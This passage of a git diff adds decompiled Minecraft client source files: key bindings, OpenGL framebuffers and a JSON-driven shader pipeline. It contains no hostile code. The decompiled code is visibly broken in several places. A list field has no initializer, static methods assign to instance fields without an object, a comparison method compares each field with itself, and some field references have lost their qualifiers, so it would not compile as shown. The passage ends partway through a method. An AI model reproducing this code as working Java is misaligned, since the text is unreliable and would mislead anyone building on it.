+        optionIds[GameSettings.Options.CHAT_LINKS_PROMPT.ordinal()] = 8;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.SNOOPER_ENABLED.ordinal()] = 9;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.USE_FULLSCREEN.ordinal()] = 10;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.ENABLE_VSYNC.ordinal()] = 11;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError11) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.USE_VBO.ordinal()] = 12;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError12) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.TOUCHSCREEN.ordinal()] = 13;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError13) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.STREAM_SEND_METADATA.ordinal()] = 14;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError14) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.FORCE_UNICODE_FONT.ordinal()] = 15;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError15) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.BLOCK_ALTERNATIVES.ordinal()] = 16;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError16) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.REDUCED_DEBUG_INFO.ordinal()] = 17;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError17) {}
+    }
+    
+    SwitchOptions() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/settings/KeyBinding.java b/src/minecraft/net/minecraft/client/settings/KeyBinding.java
new file mode 100644
index 0000000..6200740
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/settings/KeyBinding.java
@@ -0,0 +1,156 @@
+package net.minecraft.client.settings;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Sets;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.util.IntHashMap;
+
+public class KeyBinding implements Comparable
+{
+  private static final List keybindArray = ;
+  private static final IntHashMap hash = new IntHashMap();
+  private static final Set keybindSet = Sets.newHashSet();
+  
+  private final String keyDescription;
+  
+  private final int keyCodeDefault;
+  private final String keyCategory;
+  private int keyCode;
+  public boolean pressed;
+  private int pressTime;
+  private static final String __OBFID = "CL_00000628";
+  
+  public static void onTick(int keyCode)
+  {
+    if (keyCode != 0)
+    {
+      KeyBinding var1 = (KeyBinding)hash.lookup(keyCode);
+      
+      if (var1 != null)
+      {
+        pressTime += 1;
+      }
+    }
+  }
+  
+  public static void setKeyBindState(int keyCode, boolean pressed)
+  {
+    if (keyCode != 0)
+    {
+      KeyBinding var2 = (KeyBinding)hash.lookup(keyCode);
+      
+      if (var2 != null)
+      {
+        pressed = pressed;
+      }
+    }
+  }
+  
+  public static void unPressAllKeys()
+  {
+    Iterator var0 = keybindArray.iterator();
+    
+    while (var0.hasNext())
+    {
+      KeyBinding var1 = (KeyBinding)var0.next();
+      var1.unpressKey();
+    }
+  }
+  
+  public static void resetKeyBindingArrayAndHash()
+  {
+    hash.clearMap();
+    Iterator var0 = keybindArray.iterator();
+    
+    while (var0.hasNext())
+    {
+      KeyBinding var1 = (KeyBinding)var0.next();
+      hash.addKey(keyCode, var1);
+    }
+  }
+  
+  public static Set getKeybinds()
+  {
+    return keybindSet;
+  }
+  
+  public KeyBinding(String description, int keyCode, String category)
+  {
+    keyDescription = description;
+    this.keyCode = keyCode;
+    keyCodeDefault = keyCode;
+    keyCategory = category;
+    keybindArray.add(this);
+    hash.addKey(keyCode, this);
+    keybindSet.add(category);
+  }
+  
+  public boolean getIsKeyPressed()
+  {
+    return pressed;
+  }
+  
+  public String getKeyCategory()
+  {
+    return keyCategory;
+  }
+  
+  public boolean isPressed()
+  {
+    if (pressTime == 0)
+    {
+      return false;
+    }
+    
+
+    pressTime -= 1;
+    return true;
+  }
+  
+
+  private void unpressKey()
+  {
+    pressTime = 0;
+    pressed = false;
+  }
+  
+  public String getKeyDescription()
+  {
+    return keyDescription;
+  }
+  
+  public int getKeyCodeDefault()
+  {
+    return keyCodeDefault;
+  }
+  
+  public int getKeyCode()
+  {
+    return keyCode;
+  }
+  
+  public void setKeyCode(int keyCode)
+  {
+    this.keyCode = keyCode;
+  }
+  
+  public int compareTo(KeyBinding p_compareTo_1_)
+  {
+    int var2 = I18n.format(keyCategory, new Object[0]).compareTo(I18n.format(keyCategory, new Object[0]));
+    
+    if (var2 == 0)
+    {
+      var2 = I18n.format(keyDescription, new Object[0]).compareTo(I18n.format(keyDescription, new Object[0]));
+    }
+    
+    return var2;
+  }
+  
+  public int compareTo(Object p_compareTo_1_)
+  {
+    return compareTo((KeyBinding)p_compareTo_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/shader/Framebuffer.java b/src/minecraft/net/minecraft/client/shader/Framebuffer.java
new file mode 100644
index 0000000..dad631b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/shader/Framebuffer.java
@@ -0,0 +1,281 @@
+package net.minecraft.client.shader;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureUtil;
+import org.lwjgl.opengl.GL11;
+
+
+public class Framebuffer
+{
+  public int framebufferTextureWidth;
+  public int framebufferTextureHeight;
+  public int framebufferWidth;
+  public int framebufferHeight;
+  public boolean useDepth;
+  public int framebufferObject;
+  public int framebufferTexture;
+  public int depthBuffer;
+  public float[] framebufferColor;
+  public int framebufferFilter;
+  private static final String __OBFID = "CL_00000959";
+  
+  public Framebuffer(int p_i45078_1_, int p_i45078_2_, boolean p_i45078_3_)
+  {
+    useDepth = p_i45078_3_;
+    framebufferObject = -1;
+    framebufferTexture = -1;
+    depthBuffer = -1;
+    framebufferColor = new float[4];
+    framebufferColor[0] = 1.0F;
+    framebufferColor[1] = 1.0F;
+    framebufferColor[2] = 1.0F;
+    framebufferColor[3] = 0.0F;
+    createBindFramebuffer(p_i45078_1_, p_i45078_2_);
+  }
+  
+  public void createBindFramebuffer(int p_147613_1_, int p_147613_2_)
+  {
+    if (!OpenGlHelper.isFramebufferEnabled())
+    {
+      framebufferWidth = p_147613_1_;
+      framebufferHeight = p_147613_2_;
+    }
+    else
+    {
+      GlStateManager.enableDepth();
+      
+      if (framebufferObject >= 0)
+      {
+        deleteFramebuffer();
+      }
+      
+      createFramebuffer(p_147613_1_, p_147613_2_);
+      checkFramebufferComplete();
+      OpenGlHelper.func_153171_g(OpenGlHelper.field_153198_e, 0);
+    }
+  }
+  
+  public void deleteFramebuffer()
+  {
+    if (OpenGlHelper.isFramebufferEnabled())
+    {
+      unbindFramebufferTexture();
+      unbindFramebuffer();
+      
+      if (depthBuffer > -1)
+      {
+        OpenGlHelper.func_153184_g(depthBuffer);
+        depthBuffer = -1;
+      }
+      
+      if (framebufferTexture > -1)
+      {
+        TextureUtil.deleteTexture(framebufferTexture);
+        framebufferTexture = -1;
+      }
+      
+      if (framebufferObject > -1)
+      {
+        OpenGlHelper.func_153171_g(OpenGlHelper.field_153198_e, 0);
+        OpenGlHelper.func_153174_h(framebufferObject);
+        framebufferObject = -1;
+      }
+    }
+  }
+  
+  public void createFramebuffer(int p_147605_1_, int p_147605_2_)
+  {
+    framebufferWidth = p_147605_1_;
+    framebufferHeight = p_147605_2_;
+    framebufferTextureWidth = p_147605_1_;
+    framebufferTextureHeight = p_147605_2_;
+    
+    if (!OpenGlHelper.isFramebufferEnabled())
+    {
+      framebufferClear();
+    }
+    else
+    {
+      framebufferObject = OpenGlHelper.func_153165_e();
+      framebufferTexture = TextureUtil.glGenTextures();
+      
+      if (useDepth)
+      {
+        depthBuffer = OpenGlHelper.func_153185_f();
+      }
+      
+      setFramebufferFilter(9728);
+      GlStateManager.func_179144_i(framebufferTexture);
+      GL11.glTexImage2D(3553, 0, 32856, framebufferTextureWidth, framebufferTextureHeight, 0, 6408, 5121, null);
+      OpenGlHelper.func_153171_g(OpenGlHelper.field_153198_e, framebufferObject);
+      OpenGlHelper.func_153188_a(OpenGlHelper.field_153198_e, OpenGlHelper.field_153200_g, 3553, framebufferTexture, 0);
+      
+      if (useDepth)
+      {
+        OpenGlHelper.func_153176_h(OpenGlHelper.field_153199_f, depthBuffer);
+        OpenGlHelper.func_153186_a(OpenGlHelper.field_153199_f, 33190, framebufferTextureWidth, framebufferTextureHeight);
+        OpenGlHelper.func_153190_b(OpenGlHelper.field_153198_e, OpenGlHelper.field_153201_h, OpenGlHelper.field_153199_f, depthBuffer);
+      }
+      
+      framebufferClear();
+      unbindFramebufferTexture();
+    }
+  }
+  
+  public void setFramebufferFilter(int p_147607_1_)
+  {
+    if (OpenGlHelper.isFramebufferEnabled())
+    {
+      framebufferFilter = p_147607_1_;
+      GlStateManager.func_179144_i(framebufferTexture);
+      GL11.glTexParameterf(3553, 10241, p_147607_1_);
+      GL11.glTexParameterf(3553, 10240, p_147607_1_);
+      GL11.glTexParameterf(3553, 10242, 10496.0F);
+      GL11.glTexParameterf(3553, 10243, 10496.0F);
+      GlStateManager.func_179144_i(0);
+    }
+  }
+  
+  public void checkFramebufferComplete()
+  {
+    int var1 = OpenGlHelper.func_153167_i(OpenGlHelper.field_153198_e);
+    
+    if (var1 != OpenGlHelper.field_153202_i)
+    {
+      if (var1 == OpenGlHelper.field_153203_j)
+      {
+        throw new RuntimeException("GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT");
+      }
+      if (var1 == OpenGlHelper.field_153204_k)
+      {
+        throw new RuntimeException("GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT");
+      }
+      if (var1 == OpenGlHelper.field_153205_l)
+      {
+        throw new RuntimeException("GL_FRAMEBUFFER_INCOMPLETE_DRAW_BUFFER");
+      }
+      if (var1 == OpenGlHelper.field_153206_m)
+      {
+        throw new RuntimeException("GL_FRAMEBUFFER_INCOMPLETE_READ_BUFFER");
+      }
+      
+
+      throw new RuntimeException("glCheckFramebufferStatus returned unknown status:" + var1);
+    }
+  }
+  
+
+  public void bindFramebufferTexture()
+  {
+    if (OpenGlHelper.isFramebufferEnabled())
+    {
+      GlStateManager.func_179144_i(framebufferTexture);
+    }
+  }
+  
+  public void unbindFramebufferTexture()
+  {
+    if (OpenGlHelper.isFramebufferEnabled())
+    {
+      GlStateManager.func_179144_i(0);
+    }
+  }
+  
+  public void bindFramebuffer(boolean p_147610_1_)
+  {
+    if (OpenGlHelper.isFramebufferEnabled())
+    {
+      OpenGlHelper.func_153171_g(OpenGlHelper.field_153198_e, framebufferObject);
+      
+      if (p_147610_1_)
+      {
+        GlStateManager.viewport(0, 0, framebufferWidth, framebufferHeight);
+      }
+    }
+  }
+  
+  public void unbindFramebuffer()
+  {
+    if (OpenGlHelper.isFramebufferEnabled())
+    {
+      OpenGlHelper.func_153171_g(OpenGlHelper.field_153198_e, 0);
+    }
+  }
+  
+  public void setFramebufferColor(float p_147604_1_, float p_147604_2_, float p_147604_3_, float p_147604_4_)
+  {
+    framebufferColor[0] = p_147604_1_;
+    framebufferColor[1] = p_147604_2_;
+    framebufferColor[2] = p_147604_3_;
+    framebufferColor[3] = p_147604_4_;
+  }
+  
+  public void framebufferRender(int p_147615_1_, int p_147615_2_)
+  {
+    func_178038_a(p_147615_1_, p_147615_2_, true);
+  }
+  
+  public void func_178038_a(int p_178038_1_, int p_178038_2_, boolean p_178038_3_)
+  {
+    if (OpenGlHelper.isFramebufferEnabled())
+    {
+      GlStateManager.colorMask(true, true, true, false);
+      GlStateManager.disableDepth();
+      GlStateManager.depthMask(false);
+      GlStateManager.matrixMode(5889);
+      GlStateManager.loadIdentity();
+      GlStateManager.ortho(0.0D, p_178038_1_, p_178038_2_, 0.0D, 1000.0D, 3000.0D);
+      GlStateManager.matrixMode(5888);
+      GlStateManager.loadIdentity();
+      GlStateManager.translate(0.0F, 0.0F, -2000.0F);
+      GlStateManager.viewport(0, 0, p_178038_1_, p_178038_2_);
+      GlStateManager.func_179098_w();
+      GlStateManager.disableLighting();
+      GlStateManager.disableAlpha();
+      
+      if (p_178038_3_)
+      {
+        GlStateManager.disableBlend();
+        GlStateManager.enableColorMaterial();
+      }
+      
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      bindFramebufferTexture();
+      float var4 = p_178038_1_;
+      float var5 = p_178038_2_;
+      float var6 = framebufferWidth / framebufferTextureWidth;
+      float var7 = framebufferHeight / framebufferTextureHeight;
+      Tessellator var8 = Tessellator.getInstance();
+      WorldRenderer var9 = var8.getWorldRenderer();
+      var9.startDrawingQuads();
+      var9.func_178991_c(-1);
+      var9.addVertexWithUV(0.0D, var5, 0.0D, 0.0D, 0.0D);
+      var9.addVertexWithUV(var4, var5, 0.0D, var6, 0.0D);
+      var9.addVertexWithUV(var4, 0.0D, 0.0D, var6, var7);
+      var9.addVertexWithUV(0.0D, 0.0D, 0.0D, 0.0D, var7);
+      var8.draw();
+      unbindFramebufferTexture();
+      GlStateManager.depthMask(true);
+      GlStateManager.colorMask(true, true, true, true);
+    }
+  }
+  
+  public void framebufferClear()
+  {
+    bindFramebuffer(true);
+    GlStateManager.clearColor(framebufferColor[0], framebufferColor[1], framebufferColor[2], framebufferColor[3]);
+    int var1 = 16384;
+    
+    if (useDepth)
+    {
+      GlStateManager.clearDepth(1.0D);
+      var1 |= 0x100;
+    }
+    
+    GlStateManager.clear(var1);
+    unbindFramebuffer();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/shader/Shader.java b/src/minecraft/net/minecraft/client/shader/Shader.java
new file mode 100644
index 0000000..1020df4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/shader/Shader.java
@@ -0,0 +1,121 @@
+package net.minecraft.client.shader;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import javax.vecmath.Matrix4f;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.util.JsonException;
+
+public class Shader
+{
+  private final ShaderManager manager;
+  public final Framebuffer framebufferIn;
+  public final Framebuffer framebufferOut;
+  private final List listAuxFramebuffers = Lists.newArrayList();
+  private final List listAuxNames = Lists.newArrayList();
+  private final List listAuxWidths = Lists.newArrayList();
+  private final List listAuxHeights = Lists.newArrayList();
+  private Matrix4f projectionMatrix;
+  private static final String __OBFID = "CL_00001042";
+  
+  public Shader(IResourceManager p_i45089_1_, String p_i45089_2_, Framebuffer p_i45089_3_, Framebuffer p_i45089_4_) throws JsonException
+  {
+    manager = new ShaderManager(p_i45089_1_, p_i45089_2_);
+    framebufferIn = p_i45089_3_;
+    framebufferOut = p_i45089_4_;
+  }
+  
+  public void deleteShader()
+  {
+    manager.deleteShader();
+  }
+  
+  public void addAuxFramebuffer(String p_148041_1_, Object p_148041_2_, int p_148041_3_, int p_148041_4_)
+  {
+    listAuxNames.add(listAuxNames.size(), p_148041_1_);
+    listAuxFramebuffers.add(listAuxFramebuffers.size(), p_148041_2_);
+    listAuxWidths.add(listAuxWidths.size(), Integer.valueOf(p_148041_3_));
+    listAuxHeights.add(listAuxHeights.size(), Integer.valueOf(p_148041_4_));
+  }
+  
+  private void preLoadShader()
+  {
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.disableBlend();
+    GlStateManager.disableDepth();
+    GlStateManager.disableAlpha();
+    GlStateManager.disableFog();
+    GlStateManager.disableLighting();
+    GlStateManager.disableColorMaterial();
+    GlStateManager.func_179098_w();
+    GlStateManager.func_179144_i(0);
+  }
+  
+  public void setProjectionMatrix(Matrix4f p_148045_1_)
+  {
+    projectionMatrix = p_148045_1_;
+  }
+  
+  public void loadShader(float p_148042_1_)
+  {
+    preLoadShader();
+    framebufferIn.unbindFramebuffer();
+    float var2 = framebufferOut.framebufferTextureWidth;
+    float var3 = framebufferOut.framebufferTextureHeight;
+    GlStateManager.viewport(0, 0, (int)var2, (int)var3);
+    manager.addSamplerTexture("DiffuseSampler", framebufferIn);
+    
+    for (int var4 = 0; var4 < listAuxFramebuffers.size(); var4++)
+    {
+      manager.addSamplerTexture((String)listAuxNames.get(var4), listAuxFramebuffers.get(var4));
+      manager.getShaderUniformOrDefault("AuxSize" + var4).set(((Integer)listAuxWidths.get(var4)).intValue(), ((Integer)listAuxHeights.get(var4)).intValue());
+    }
+    
+    manager.getShaderUniformOrDefault("ProjMat").set(projectionMatrix);
+    manager.getShaderUniformOrDefault("InSize").set(framebufferIn.framebufferTextureWidth, framebufferIn.framebufferTextureHeight);
+    manager.getShaderUniformOrDefault("OutSize").set(var2, var3);
+    manager.getShaderUniformOrDefault("Time").set(p_148042_1_);
+    Minecraft var9 = Minecraft.getMinecraft();
+    manager.getShaderUniformOrDefault("ScreenSize").set(displayWidth, displayHeight);
+    manager.useShader();
+    framebufferOut.framebufferClear();
+    framebufferOut.bindFramebuffer(false);
+    GlStateManager.depthMask(false);
+    GlStateManager.colorMask(true, true, true, true);
+    Tessellator var5 = Tessellator.getInstance();
+    WorldRenderer var6 = var5.getWorldRenderer();
+    var6.startDrawingQuads();
+    var6.func_178991_c(-1);
+    var6.addVertex(0.0D, var3, 500.0D);
+    var6.addVertex(var2, var3, 500.0D);
+    var6.addVertex(var2, 0.0D, 500.0D);
+    var6.addVertex(0.0D, 0.0D, 500.0D);
+    var5.draw();
+    GlStateManager.depthMask(true);
+    GlStateManager.colorMask(true, true, true, true);
+    manager.endShader();
+    framebufferOut.unbindFramebuffer();
+    framebufferIn.unbindFramebufferTexture();
+    Iterator var7 = listAuxFramebuffers.iterator();
+    
+    while (var7.hasNext())
+    {
+      Object var8 = var7.next();
+      
+      if ((var8 instanceof Framebuffer))
+      {
+        ((Framebuffer)var8).unbindFramebufferTexture();
+      }
+    }
+  }
+  
+  public ShaderManager getShaderManager()
+  {
+    return manager;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/shader/ShaderDefault.java b/src/minecraft/net/minecraft/client/shader/ShaderDefault.java
new file mode 100644
index 0000000..00c09ed
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/shader/ShaderDefault.java
@@ -0,0 +1,31 @@
+package net.minecraft.client.shader;
+
+import javax.vecmath.Matrix4f;
+
+public class ShaderDefault extends ShaderUniform
+{
+  private static final String __OBFID = "CL_00001039";
+  
+  public ShaderDefault()
+  {
+    super("dummy", 4, 1, null);
+  }
+  
+  public void set(float p_148090_1_) {}
+  
+  public void set(float p_148087_1_, float p_148087_2_) {}
+  
+  public void set(float p_148095_1_, float p_148095_2_, float p_148095_3_) {}
+  
+  public void set(float p_148081_1_, float p_148081_2_, float p_148081_3_, float p_148081_4_) {}
+  
+  public void func_148092_b(float p_148092_1_, float p_148092_2_, float p_148092_3_, float p_148092_4_) {}
+  
+  public void set(int p_148083_1_, int p_148083_2_, int p_148083_3_, int p_148083_4_) {}
+  
+  public void set(float[] p_148097_1_) {}
+  
+  public void set(float p_148094_1_, float p_148094_2_, float p_148094_3_, float p_148094_4_, float p_148094_5_, float p_148094_6_, float p_148094_7_, float p_148094_8_, float p_148094_9_, float p_148094_10_, float p_148094_11_, float p_148094_12_, float p_148094_13_, float p_148094_14_, float p_148094_15_, float p_148094_16_) {}
+  
+  public void set(Matrix4f p_148088_1_) {}
+}
diff --git a/src/minecraft/net/minecraft/client/shader/ShaderGroup.java b/src/minecraft/net/minecraft/client/shader/ShaderGroup.java
new file mode 100644
index 0000000..5cbd093
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/shader/ShaderGroup.java
@@ -0,0 +1,427 @@
+package net.minecraft.client.shader;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.gson.JsonArray;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import javax.vecmath.Matrix4f;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.IResource;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.util.JsonException;
+import net.minecraft.util.JsonUtils;
+import net.minecraft.util.ResourceLocation;
+import org.apache.commons.io.IOUtils;
+import org.lwjgl.opengl.GL11;
+
+public class ShaderGroup
+{
+  private Framebuffer mainFramebuffer;
+  private IResourceManager resourceManager;
+  private String shaderGroupName;
+  private final List listShaders = Lists.newArrayList();
+  private final Map mapFramebuffers = Maps.newHashMap();
+  private final List listFramebuffers = Lists.newArrayList();
+  private Matrix4f projectionMatrix;
+  private int mainFramebufferWidth;
+  private int mainFramebufferHeight;
+  private float field_148036_j;
+  private float field_148037_k;
+  private static final String __OBFID = "CL_00001041";
+  
+  public ShaderGroup(TextureManager p_i1050_1_, IResourceManager p_i1050_2_, Framebuffer p_i1050_3_, ResourceLocation p_i1050_4_) throws JsonException
+  {
+    resourceManager = p_i1050_2_;
+    mainFramebuffer = p_i1050_3_;
+    field_148036_j = 0.0F;
+    field_148037_k = 0.0F;
+    mainFramebufferWidth = framebufferWidth;
+    mainFramebufferHeight = framebufferHeight;
+    shaderGroupName = p_i1050_4_.toString();
+    resetProjectionMatrix();
+    parseGroup(p_i1050_1_, p_i1050_4_);
+  }
+  
+  public void parseGroup(TextureManager p_152765_1_, ResourceLocation p_152765_2_) throws JsonException
+  {
+    JsonParser var3 = new JsonParser();
+    InputStream var4 = null;
+    
+    try
+    {
+      IResource var5 = resourceManager.getResource(p_152765_2_);
+      var4 = var5.getInputStream();
+      JsonObject var22 = var3.parse(IOUtils.toString(var4, com.google.common.base.Charsets.UTF_8)).getAsJsonObject();
+      
+
+
+
+
+
+      if (JsonUtils.jsonObjectFieldTypeIsArray(var22, "targets"))
+      {
+        JsonArray var7 = var22.getAsJsonArray("targets");
+        int var8 = 0;
+        
+        for (Iterator var9 = var7.iterator(); var9.hasNext(); var8++)
+        {
+          JsonElement var10 = (JsonElement)var9.next();
+          
+          try
+          {
+            initTarget(var10);
+          }
+          catch (Exception var19)
+          {
+            JsonException var12 = JsonException.func_151379_a(var19);
+            var12.func_151380_a("targets[" + var8 + "]");
+            throw var12;
+          }
+        }
+      }
+      
+      if (JsonUtils.jsonObjectFieldTypeIsArray(var22, "passes"))
+      {
+        JsonArray var7 = var22.getAsJsonArray("passes");
+        int var8 = 0;
+        
+        for (Iterator var9 = var7.iterator(); var9.hasNext(); var8++)
+        {
+          JsonElement var10 = (JsonElement)var9.next();
+          
+          try
+          {
+            parsePass(p_152765_1_, var10);
+          }
+          catch (Exception var18)
+          {
+            JsonException var12 = JsonException.func_151379_a(var18);
+            var12.func_151380_a("passes[" + var8 + "]");
+            throw var12;
+          }
+        }
+      }
+    }
+    catch (Exception var20)
+    {
+      JsonException var6 = JsonException.func_151379_a(var20);
+      var6.func_151381_b(p_152765_2_.getResourcePath());
+      throw var6;
+    }
+    finally
+    {
+      IOUtils.closeQuietly(var4);
+    }
+  }
+  
+  private void initTarget(JsonElement p_148027_1_) throws JsonException
+  {
+    if (JsonUtils.jsonElementTypeIsString(p_148027_1_))
+    {
+      addFramebuffer(p_148027_1_.getAsString(), mainFramebufferWidth, mainFramebufferHeight);
+    }
+    else
+    {
+      JsonObject var2 = JsonUtils.getElementAsJsonObject(p_148027_1_, "target");
+      String var3 = JsonUtils.getJsonObjectStringFieldValue(var2, "name");
+      int var4 = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var2, "width", mainFramebufferWidth);
+      int var5 = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var2, "height", mainFramebufferHeight);
+      
+      if (mapFramebuffers.containsKey(var3))
+      {
+        throw new JsonException(var3 + " is already defined");
+      }
+      
+      addFramebuffer(var3, var4, var5);
+    }
+  }
+  
+  private void parsePass(TextureManager p_152764_1_, JsonElement p_152764_2_) throws JsonException
+  {
+    JsonObject var3 = JsonUtils.getElementAsJsonObject(p_152764_2_, "pass");
+    String var4 = JsonUtils.getJsonObjectStringFieldValue(var3, "name");
+    String var5 = JsonUtils.getJsonObjectStringFieldValue(var3, "intarget");
+    String var6 = JsonUtils.getJsonObjectStringFieldValue(var3, "outtarget");
+    Framebuffer var7 = getFramebuffer(var5);
+    Framebuffer var8 = getFramebuffer(var6);
+    
+    if (var7 == null)
+    {
+      throw new JsonException("Input target '" + var5 + "' does not exist");
+    }
+    if (var8 == null)
+    {
+      throw new JsonException("Output target '" + var6 + "' does not exist");
+    }
+    
+
+    Shader var9 = addShader(var4, var7, var8);
+    JsonArray var10 = JsonUtils.getJsonObjectJsonArrayFieldOrDefault(var3, "auxtargets", null);
+    
+    if (var10 != null)
+    {
+      int var11 = 0;
+      
+      for (Iterator var12 = var10.iterator(); var12.hasNext(); var11++)
+      {
+        JsonElement var13 = (JsonElement)var12.next();
+        
+        try
+        {
+          JsonObject var14 = JsonUtils.getElementAsJsonObject(var13, "auxtarget");
+          String var30 = JsonUtils.getJsonObjectStringFieldValue(var14, "name");
+          String var16 = JsonUtils.getJsonObjectStringFieldValue(var14, "id");
+          Framebuffer var17 = getFramebuffer(var16);
+          
+          if (var17 == null)
+          {
+            ResourceLocation var18 = new ResourceLocation("textures/effect/" + var16 + ".png");
+            
+            try
+            {
+              resourceManager.getResource(var18);
+            }
+            catch (FileNotFoundException var24)
+            {
+              throw new JsonException("Render target or texture '" + var16 + "' does not exist");
+            }
+            
+            p_152764_1_.bindTexture(var18);
+            ITextureObject var19 = p_152764_1_.getTexture(var18);
+            int var20 = JsonUtils.getJsonObjectIntegerFieldValue(var14, "width");
+            int var21 = JsonUtils.getJsonObjectIntegerFieldValue(var14, "height");
+            boolean var22 = JsonUtils.getJsonObjectBooleanFieldValue(var14, "bilinear");
+            
+            if (var22)
+            {
+              GL11.glTexParameteri(3553, 10241, 9729);
+              GL11.glTexParameteri(3553, 10240, 9729);
+            }
+            else
+            {
+              GL11.glTexParameteri(3553, 10241, 9728);
+              GL11.glTexParameteri(3553, 10240, 9728);
+            }
+            
+            var9.addAuxFramebuffer(var30, Integer.valueOf(var19.getGlTextureId()), var20, var21);
+          }
+          else
+          {
+            var9.addAuxFramebuffer(var30, var17, framebufferTextureWidth, framebufferTextureHeight);
+          }
+        }
+        catch (Exception var25)
+        {
+          JsonException var15 = JsonException.func_151379_a(var25);
+          var15.func_151380_a("auxtargets[" + var11 + "]");
+          throw var15;
+        }
+      }
+    }
+    
+    JsonArray var26 = JsonUtils.getJsonObjectJsonArrayFieldOrDefault(var3, "uniforms", null);
+    
+    if (var26 != null)
+    {
+      int var27 = 0;
+      
+      for (Iterator var28 = var26.iterator(); var28.hasNext(); var27++)
+      {
+        JsonElement var29 = (JsonElement)var28.next();
+        
+        try
+        {
+          initUniform(var29);
+        }
+        catch (Exception var23)
+        {
+          JsonException var31 = JsonException.func_151379_a(var23);
+          var31.func_151380_a("uniforms[" + var27 + "]");
+          throw var31;
+        }
+      }
+    }
+  }
+  
+  private void initUniform(JsonElement p_148028_1_)
+    throws JsonException
+  {
+    JsonObject var2 = JsonUtils.getElementAsJsonObject(p_148028_1_, "uniform");
+    String var3 = JsonUtils.getJsonObjectStringFieldValue(var2, "name");
+    ShaderUniform var4 = ((Shader)listShaders.get(listShaders.size() - 1)).getShaderManager().getShaderUniform(var3);
+    
+    if (var4 == null)
+    {
+      throw new JsonException("Uniform '" + var3 + "' does not exist");
+    }
+    
+
+    float[] var5 = new float[4];
+    int var6 = 0;
+    JsonArray var7 = JsonUtils.getJsonObjectJsonArrayField(var2, "values");
+    
+    for (Iterator var8 = var7.iterator(); var8.hasNext(); var6++)
+    {
+      JsonElement var9 = (JsonElement)var8.next();
+      
+      try
+      {
+        var5[var6] = JsonUtils.getJsonElementFloatValue(var9, "value");
+      }
+      catch (Exception var12)
+      {
+        JsonException var11 = JsonException.func_151379_a(var12);
+        var11.func_151380_a("values[" + var6 + "]");
+        throw var11;
+      }
+    }
+    
+    switch (var6)
+    {
+    case 0: 
+    default: 
+      break;
+    
+    case 1: 
+      var4.set(var5[0]);
+      break;
+    
+    case 2: 
+      var4.set(var5[0], var5[1]);
+      break;
+    
+    case 3: 
+      var4.set(var5[0], var5[1], var5[2]);
+      break;
+    
+    case 4: 
+      var4.set(var5[0], var5[1], var5[2], var5[3]);
+    }
+    
+  }
+  
+  public Framebuffer func_177066_a(String p_177066_1_)
+  {
+    return (Framebuffer)mapFramebuffers.get(p_177066_1_);
+  }
+  
+  public void addFramebuffer(String p_148020_1_, int p_148020_2_, int p_148020_3_)
+  {
+    Framebuffer var4 = new Framebuffer(p_148020_2_, p_148020_3_, true);
+    var4.setFramebufferColor(0.0F, 0.0F, 0.0F, 0.0F);
+    mapFramebuffers.put(p_148020_1_, var4);
+    
+    if ((p_148020_2_ == mainFramebufferWidth) && (p_148020_3_ == mainFramebufferHeight))
+    {
+      listFramebuffers.add(var4);
+    }
+  }
+  
+  public void deleteShaderGroup()
+  {
+    Iterator var1 = mapFramebuffers.values().iterator();
+    
+    while (var1.hasNext())
+    {
+      Framebuffer var2 = (Framebuffer)var1.next();
+      var2.deleteFramebuffer();
+    }
+    
+    var1 = listShaders.iterator();
+    
